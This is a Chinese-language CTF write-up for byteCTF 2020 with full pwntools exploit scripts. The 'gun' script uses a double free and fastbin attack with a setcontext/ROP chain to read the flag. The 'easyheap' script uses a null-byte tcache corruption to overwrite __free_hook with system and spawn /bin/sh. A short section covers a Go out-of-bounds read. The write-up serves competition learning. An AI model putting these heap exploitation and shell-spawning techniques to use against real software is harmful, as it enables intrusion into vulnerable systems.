2020-byteCTF

字数统计: 1.8k字   |   阅读时长≈ 9分

2020 byteCTF，题量不是很多，但是其中有两道之前还没有碰到过的类型 go Pwn 和 Android Pwn，其余两道是传统题目。

gun

程序分析

由于给的二进制文件把符号信息给删掉了，所以逆向时花了一点时间搞清楚 Delete函数和 Load函数的功能

image-20201025141526732

Load函数是将需要删除的节点，连接起来。有一个头指针 chunk_ptr,指定链表头。如果chunk_ptr为空时，会直接将需要Load的chunk地址加载到 头指针，但是注意此时，没有对该节点chunk的 next指针赋值。只有当 chunk_ptr不为空时，才会对 next指针赋值。

image-20201025142442155

delete函数会从 chunk_ptr开始删除 用户输入的个数，每次删除会清空节点的使用 flag。但是注意并没有对 节点的 next指针进行清空。

image-20201025142741738

create函数也只会将节点的chunk地址赋值，并不会对next指针操作。

利用分析

1.通过Load将所有节点连接起来，chunk2->chunk1->chunk0。

2.Delete 所有节点，此时 chunk_ptr为 0，但是每个节点的 next指针不变；

3.再create几个节点；

4.再次Load时，第一次Load的节点chunk0的next指针会保存上一次Load时的节点地址chunk1，我们再次 Load chunk1，此时chunk1 的next指针指向了 chunk0。也就是链表形成了循环：chunk1->chunk0->chunk1。我们就可以通过删除3次，造成double free 攻击。

由于是 Glibc 2.31，所以对 tcache 采用 double free 行不通，我们需要将 tcache 填满，使用 fastbin attack。

Tips

关于 glibc 2.31 的 setcontext 用法，由于 setcontext 变为了 rdx，所以需要先利用一个 gadget 来将 rdi 赋值给 rdx，再去 执行setcontext+61。

选取的 gadget如下：

1
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

需要重新构造一个 sigframe，写了个函数，以后直接调用就是了，不用再算偏移了：

1
2
3
4
5
6
7
8
9
def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
    payload = p64(0) + p64(rdx_rdi) + p64(0) * 2  			#rdx
    payload += p64(secontext_addr)             				#setcontext+61
    payload = payload.ljust(0x68, '\x00')
    payload += p64(rdi) + p64(rsi)  						# rdi , rsi
    payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0)  	# rdx
    payload += p64(rsp) + p64(rip)  						# rsp, rip(func_addr)
    payload = payload.ljust(0xf8, '\x00')
    return payload

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
if debug == 1:
    p = process('./gun')
    elf = ELF('./gun')
    libc = ELF('./libc.so')
else:
    p = remote('123.57.209.176', 30772)
    elf = ELF('./gun')
    libc = ELF('./libc-2.31.so')

def Add(size, name):
    p.recvuntil('Action> ')
    p.sendline('3')
    p.recvuntil('Bullet price: ')
    p.sendline(str(size))
    p.recvuntil('Bullet Name: ')
    p.sendline(name)

def Load(idx):
    p.recvuntil('Action> ')
    p.sendline('2')
    p.recvuntil('Which one do you want to load?')
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('Action> ')
    p.sendline('1')
    p.recvuntil('Shoot time: ')
    p.sendline(str(idx))


def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
    payload = p64(0) + p64(rdx_rdi) + p64(0) * 2  #rdx
    payload += p64(secontext_addr)             #call func_addr
    payload = payload.ljust(0x68, '\x00')
    payload += p64(rdi) + p64(rsi)  # rdi , rsi
    payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0)  # rdx
    payload += p64(rsp) + p64(rip)  # rsp, rip
    payload = payload.ljust(0xf8, '\x00')
    return payload

def pwn():
    p.recvuntil('Your name: ')
    p.sendline('alex')

    Add(0x420, 'a')
    Add(0x20, 'a')
    Add(0x20, 'a')
    Load(0)
    Delete(1)

    Add(0x20, 'a')
    Load(0)
    Delete(1)
    p.recvuntil('Pwn! The ')
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = libc_addr - 0x1ebf00 - 0x61
    print 'libc_base:',hex(libc_base)
    libc.address = libc_base#libc_addr - 0x1e5061
    print 'libc_addr',hex(libc_addr)
    print 'libc_base:',hex(libc.address)
    free_hook = libc.sym['__free_hook']
    print 'free_hook:',hex(free_hook)
    malloc_hook = libc.sym['__malloc_hook']
    print 'malloc_hook:',hex(malloc_hook)
    setcontext = libc.sym['setcontext']
    print 'setcontext:',hex(setcontext)

    Load(1)
    Load(2)
    Delete(2)

    Add(0x20, 'a')
    Load(0)
    Delete(1)
    p.recvuntil('Pwn! The ')
    heap_addr = u64(p.recvuntil('\n')[:6].ljust(8, '\x00')) & 0xfffffffff000
    print 'heap_addr:',hex(heap_addr)
    #gdb.attach(p, 'bp $rebase(0x1a14')
    for i in range(11):
        Add(0x58, 'a')

    for i in range(10, 3, -1):
        print i
        Load(i)

    Delete(7)
    # gdb.attach(p, 'bp $rebase(0x1a14')
    for i in range(1, -1, -1):
        print i
        Load(i)

    Delete(2)
    Add(0x58, 'a')  #0
    Add(0x58, 'a')  #1
    Load(3)
    Load(2)
    Delete(2)


    Load(0)
    Load(1)

    Delete(3)
    for i in range(7):  #0-6
        Add(0x58, 'a')
    magic_addr = libc.address + 0x154930#+ 0x150550#+ 0x12be97
    print '--------------fastbin attack:'
    Add(0x58, p64(free_hook))  #7
    Add(0x58, 'a')   #8
    Add(0x58, p64(free_hook))   #9
    Add(0x58, p64(magic_addr))   #10

    p_rdi_r = 0x26b72 + libc.address
    p_rsi_r = 0x27529 + libc.address
    p_rdx_r12_r = 0x11c371 + libc.address
    p_rax_r = 0x4a550 + libc.address
    ret = 0x25679 + libc.address
    syscall = 0x66229 + libc.address
    flag_str_addr = heap_addr+0x8d0+0xf0
    flag_addr = heap_addr + 0x300

    orw = flat([
        p_rdi_r, flag_str_addr,
        p_rsi_r, 0,
        p_rax_r, 2,
        syscall,
        p_rdi_r, 3,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x30, 0,
        p_rax_r, 0,
        syscall,
        p_rdi_r, 1,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x30, 0,
        p_rax_r, 1,
        syscall
    ])

    #gdb.attach(p, 'bp $rebase(0x1a14')
    payload = p64(0) + p64(heap_addr+0x7c0)+p64(0)*2
    payload += p64(setcontext+61)
    payload = payload.ljust( 0x68,'\x00')
    payload += p64(heap_addr) + p64(0x2100)  #rdi , rsi
    payload += p64(0)*2 + p64(7) +p64(0x18) + p64(0)    #rdx
    payload += p64(heap_addr+0x8d0) + p64(ret) #rsp, rip
    payload = payload.ljust(0xf8,'\x00' )

    Add(0x100, payload)   #11
    payload = orw.ljust(0xf0, '\x00') + './flag\x00\x00'
    Add(0x100, payload)    #12

    Load(11)
    #Load(12)

    Delete(1)

    p.interactive()

pwn()

easyheap

程序分析

image-20201025145722123

在New函数中，先读取用户输入的size，并传递给 size1，如果 size 不满足要求会一直要求用户输入正确size。然后根据 size分配堆块，并读取用户输入，但是 在最后 使用 size1 将 chunk_ptr+size1-1 的位置置为了0。

如果我们从第一次 输入的size 过大，此时 size1就会过大，而后续并没有再对 size1 进行赋值。也就是我们存在一个 可以向 chunk_ptr 下面地址写 x00 的漏洞。

利用分析

  1. 利用这个 x00 覆盖 tcache 的 next指针使其指向 tcache_perthread_struct

我们可以通过堆块构造 chunk1, chunk2, chunk3，并且chunk2 的地址最后一位为 x00。 然后依次 释放 chunk1,chunk3,chunk2，随后申请 chunk1,并利用漏洞修改 chunk3 的 next 指针倒数第二字节为 x00，那么我们就有 1/16 的机会将 next 劫持到 tcache_perthread_strcut。

后面就是先释放 tcache_perthread_strcut到 unsortedbin来泄露地址，getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context.update(arch='amd64', os ='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
if debug == 1:
    p = process('./easyheap')
    elf = ELF('./easyheap')
    libc = ELF('./libc.so')
else:
    p = remote('123.57.209.176', 30774)
    libc = ELF('./libc-2.31.so')
    elf = ELF('./easyheap')

def New(size, content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(content)

def Show(idx):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def New2(size1, size2, content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size1))
    p.recvuntil('Size: ')
    p.sendline(str(size2))
    p.recvuntil('Content: ')
    p.sendline('0')

while True:
    try:
        New(0x60, '0')
        New(0x80, '1')
        New(0x80, '2')

        Delete(1)
        Delete(2)
        Delete(0)
        #gdb.attach(p, 'bp $rebase(0x1755)')
        #change chunk2's next to tcache_perthread_struct
        New2(0x102, 0x60, '0')  #0

        New(0x80, '2')  #id 1

        payload = '\x00\x00'+'\x02'+'\x00'*32+'\x07'+'\x00'*0x2b+'\x70'
        New(0x80, payload)  #id 2,chunk tcache_perthread_struct

        Delete(2)   #make tps into unsortedbin
        #payload = '\x02\x00'+'\x02\x00' + '\x00'*2 + '\x02\x00'
        New(0x40, '\x00')   #2
        New2(0x100, 1, 'a') #3
        Show(3)
        libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
        print ('libc_addr:',hex(libc_addr))
        libc_base = libc_addr + 0x40 - libc.sym['__malloc_hook']
        print ('libc_base:',hex(libc_base))
        libc.address = libc_base
        free_hook = libc.sym['__free_hook']
        system_addr = libc.sym['system']
        setcontext = libc.sym['setcontext']
        break
    except:
        p.close()
        p = remote('123.57.209.176', 30774)

Delete(2)
Delete(3)
payload = p64(0)*6 + p64(free_hook)
New(0x40, '\x01\x00'*5) #2

New(0x18, p64(0)*3)  #3
New(0x10, p64(0))
New(0x10, p64(free_hook)) #4
New(0x30, p64(system_addr)) #5
New(0x60, '/bin/sh\x00')    #6

Delete(7)

p.interactive()

leak

当时搜了很多 Go pwn的题目，觉得这道题应该是有原型题，但是找了很久都没发现。赛后才知道这道题是被提交过的 Go 编译器编译优化时的产生的数组越界访问错误。可以直接在 github上搜到这个 issue。

然后，根据issue上的代码，可以直接在 这个网站测试，可以发现确实是存在 数组越界访问，hack中的数组由于在栈上处于 main的低地址处，所以向下访问时可以访问到 main中的 flag。

image-20201027092512810

1
2
3
4
5
6
7
8
9
func hack() {
	rates := []uint64{0xFF}
	for star ,rate := range rates{
		if star+1 < 1{
			panic("")
		}
		println(rate)
	}
}

Android Pwn

程序分析

利用分析

EXP

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing